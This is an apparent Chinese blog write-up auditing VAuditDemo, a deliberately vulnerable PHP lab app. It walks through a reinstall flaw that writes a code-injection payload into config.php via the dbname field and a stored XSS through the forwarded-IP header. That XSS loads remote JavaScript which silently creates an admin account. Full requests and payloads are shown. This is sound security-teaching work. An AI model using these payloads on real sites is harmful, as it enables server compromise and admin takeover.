VAuditDemo-安装问题和XSS的审计

安装问题的审计

一般PHP程序都有一个初始安装的功能。 当程序安装后一般会自动删除安装文件、或者加lock限制。

安装功能可能存在以下问题:
  • 无验证功能,任意重装覆盖
  • $_GET['step']跳过限制步骤
  • 变量覆盖导致重装
  • 判断lock后跳转无exit
  • 解析install.php.bak漏洞
  • 其他特定功能绕过漏洞

 

安装问题分析

  • 首先查看install.php发现在判断存在lock文件后无exit。
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { header( "Location: ../index.php" ); /* exit;*/ }

 

再继续查看代码发现,dbname在写入config.php时未做过滤。

if (in_array(strtolower($dbname), $data)){  
        mysql_close();
        echo "";
        exit(); } ... mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() ); $fp=fopen( "../sys/config.php", "w" ); fwrite( $fp, $str_tmp ); fclose( $fp );

 

查看config.php,构造payload

闭合双引号,然后在后面跟上我们要执行的代码,注释掉后面的内容。

$host="localhost"; 
$username="root"; 
$password="root"; 
$database="vauditdemo"; // exp;-- -";phpinfo();//

 

返回到install.php中注释掉lock后的跳转语句,访问install.php并在进入重装页面使用burpsuite抓包。

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
    // header( "Location: ../index.php" );
}

 

抓包修改dbname的值为我们构造的payload。

POST /vauditdemo/install/install.php HTTP/1.1
Host: 192.168.174.195
Content-Length: 84
Cache-Control: max-age=0 Origin: http://192.168.174.195 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.174.195/vauditdemo/install/install.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close dbhost=localhost&dbuser=root&dbpass=root&dbname=exp;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D

 

抓包后,将install.php中的跳转语句的注释取消。

发送payload后,然后查看config.php中的dbname内容,可以看到payload已经成功被写入config.php文件中。

$host="localhost"; 
$username="root"; $password="root"; $database="exp;-- -";phpinfo();//";

 

访问config.php即可显示phpinfo()信息。

 VAuditDemo-安装问题和XSS的审计_第1张图片

 

审计思路总结

判断lock后跳转无exit
-->
$dbname = $_POST["dbname"]; --> mysql_query()-->error-->die; --> $str_tmp --> fwrite($fp,$str_tmp); --> shell it!


XSS后台敏感操作

查看如下代码:获取源IP的方式是先判断是否存在HTTP_CLIENT_IP字段,若没有再查看是否存在HTTP_X_FORWARDED_FOR字段,若无,则通过REMOTE_ADDR获取,而我们可以控制的只有HTTP_CLIENT_IP和X_FORWARDED_FOR字段,可以达到注入的目的。

function get_client_ip(){
    if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = "unknown"; } return($ip); }

然后我们通过回溯来找出get_client_ip函数在哪里都有使用。

if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
    $clean_name = clean_input($_POST['user']); $clean_pass = clean_input($_POST['pass']); $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; $data = mysql_query($query, $conn) or die('Error!!'); if (mysql_num_rows($data) == 1) { $row = mysql_fetch_array($data); $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("updata error!"); header('Location: user.php'); } else { $_SESSION['error_info'] = '用户名或密码错误'; header('Location: login.php'); } mysql_close($conn); }

通过分析可以知道在登录时进行了获取IP的操作,并且get_client_ip()使用sqlwaf过滤器进行了过滤,并且$ip使用单引号进行包裹,因此无法进行SQL注入。

$ip = sqlwaf(get_client_ip());
$query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";

由于sqlwaf()过滤器只是进行了SQL注入的过滤,并没有XSS的过滤,因此此处我们可以使用XSS注入攻击。

login_ip = '$ip,我们只要找到login_ip所在位置,当数据库字段数允许达到一定的要求,即可进行xss注入。

全局搜索login_ip,发现在manageUser.php中存在login_ip. 从数据库字段信息中可以看到该字段设置了255个字符长度。

C:\phpstudy_pro\WWW\vauditdemo\admin\manageUser.php:
   24          echo $users['user_id'];?> 25 echo $html_user_name;?> 26: echo $users['login_ip'];?> 27 "delUser.php?id=">删除 28  C:\phpstudy_pro\WWW\vauditdemo\install\install.sql: 57 `user_bio` varchar(255) NOT NULL DEFAULT '', 58 `join_date` date NOT NULL, 59: `login_ip` varchar(255) DEFAULT NULL, 60 PRIMARY KEY (`user_id`) 61 ) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8; C:\phpstudy_pro\WWW\vauditdemo\user\logCheck.php: 13 $_SESSION['avatar'] = $row['user_avatar']; 14 $ip = sqlwaf(get_client_ip()); 15: $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; 16 mysql_query($query, $conn) or die("updata error!"); 17 header('Location: user.php');

我们可以在登录时构造插入xss代码,使用xss引入外部js代码来执行添加用户操作,当管理员触发了xss,即可添加一个新用户。

if (mysql_num_rows($data) == 1) {
        $row = mysql_fetch_array($data);
        $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); //  $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("updata error!"); header('Location: user.php'); } else { $_SESSION['error_info'] = '用户名或密码错误'; header('Location: login.php'); }

js:将csrf的payload放在远程服务器上。

(function () {
    var xmlHttp;
    try {
        xmlHttp = new XMLHttpRequest();
    } catch (e)    {
        try {
             xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } xmlHttp.open("POST","manageAdmin.php",true); xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xmlHttp.send('username=xss&password=123456' || null); }) ();

xss代码执行后,成功添加了一个管理员用户xss

Name    Manege
admin    删除
xss      删除
 

你可能感兴趣的:(VAuditDemo-安装问题和XSS的审计)